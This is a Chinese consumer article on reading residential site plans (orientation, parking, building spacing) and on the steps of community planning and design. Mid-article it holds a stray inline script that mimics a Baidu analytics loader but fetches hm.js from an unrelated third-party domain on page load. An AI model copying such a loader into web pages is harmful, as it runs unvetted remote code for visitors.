小区平面图中的秘密，小区的美好花园

现在的人们一生中最重要的事就是买房子，但在买房子时，我们首先要很清楚的了解楼盘的信息，往往会最先看到小区平面图，所以是很重要的。一般情况下，小区规划图分为小区平面图和鸟瞰图。鸟瞰图可以很精美的展示出完整的楼盘，可以很快的吸引住买房人的目光，而小区平面图相比鸟瞰图看起来虽然没有那么精美，但可以很好的体现出小区的完整规划，比鸟瞰图的信息量更大。当我们买房子时，除了去售楼部这种情况下，还会从各个渠道了解房源，就包括看小区平面图。小区平面图中就包含了小区的入口，交通路线，设施配置及于各个楼座之间的关系。首先，我们可以从小区平面图开判断楼房的朝向。开发商为了人民可以更好地分辨，都会在平面图的左上角或者在右上角标有指北针，让我们更方便的判断小区楼房的朝向。接下来我们可以从小区平面图上看到小区的交通路线，这样就可以做出更为理性的判断，根据个人的情况可以判断出自己是否适合小区的环境，如果喜欢安静的环境，就可以选择一些远离娱乐设施和街道的场所。接着我们可以从小区平面图上判断出小区停车场的位置和规划。如果停车场不是地下停车场，这样就要看停车场据小区的位置，要是位置离小区很近，那么危险系数就会变高，会对老人和小孩有很大的危险，但是如果设置的是地下停车场，那么危险系数就会大大的降低。最后我们买房时可以很清楚的看到采光和景观的规划。从小区平面图就可以分辨出每栋楼之间的距离大小，如果楼距很小，那么住在底层的住户室内的采光很定会受很大的影响，所以买房时要从小区平面图中谨慎的判断楼距，以免影响采光。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

小区规划设计说明

我们都知道前几年的房地产产业迅速发展，人们纷纷加入了买房的行列，随着买房人数的增加，房地产行业的竞争愈演愈烈，房地产产商也绞尽脑汁，美化小区环境，合理规划小区布局。合理的规划也使得人们居住得更加舒适，你们家的小区规划是怎样的呢?你对你的小区规划满意吗?今天就带大家一起来了解一下详细的小区规划，快来看看吧。小区规划设计说明1、规划原则首先要突出主题，再考虑安全性、经济性等原则问题，还要坚持生态性原则和可持续发展原则。2、设计理念小区的设计理念要以人的行为规律为准则，从而突出了人性化和个性化特征。从设计手法上、空间以及平面布局等角度对小区的设计理念进行有关说明。3、规划目标建造小区的目标需要设计师的精心设计，通过对环境的塑造会从而达到独特的效果，引导舒适的生活理念，强调高质量的生活品质，营造充满质感的缤纷水岸生活。4、规划设计第一步：指标计算首先要计算出住宅总建筑面积最多值。计算商业建筑分为无底商的住宅和有底商的住宅，要取不同的住宅层高。还要计算日照间距，根据公式算出。第二步：搞到符合面积指标的不同户型组合平面首先根据住宅总建筑面积，减去商住的住宅部分的建筑面积，然后再根据提供的不同户型面积所占的比例要求，进行估算。根据不同户型所住人数，由此算出这个小区一共可以居住的人数。根据小区总人数查当地的城市规划指标，算出这个小区需要设置的停车位的数量。第三步：总平面构图在草图上首先确定小区主次入口，确定停车库出入口个数和进出位置，然后确定小区人车分流的方式。再根据小区内的主次道路将用地划分为几个组团，同时构思出小区的景观轴线，以此来集中景观区。第四步：中根据构图大致画出主次道路系统和景观区，描出单元平面轮廓，要根据日照间距布置不同，画出不同单元的轮廓线。第五步：伸入完善画出宅间路和停车位，利用现成的水景，布置美化小区设备，宅间绿化，道路绿化，丰富集中景观区，完善小区主道的景观布置。第六步：标注标注出主次道路宽，住宅的东西向和南北向间距，然后列出具体的经济技术指标，最后标注图例。小区是城市建设中非常重要的一部分，不同的地区要根据不同的环境进行小区规划，小区里要有配套的设施，例如绿化带、健身设施，周围要有学校、银行、超市等生活服务设施，对这些设施都要进行详细的规划。一个高端的小区就要有合理的规划，给居住的人们创造一个舒适的生活环境。想要挑选小区的朋友可以了解一下小区规划，以便购买到自己心满意足的住宅。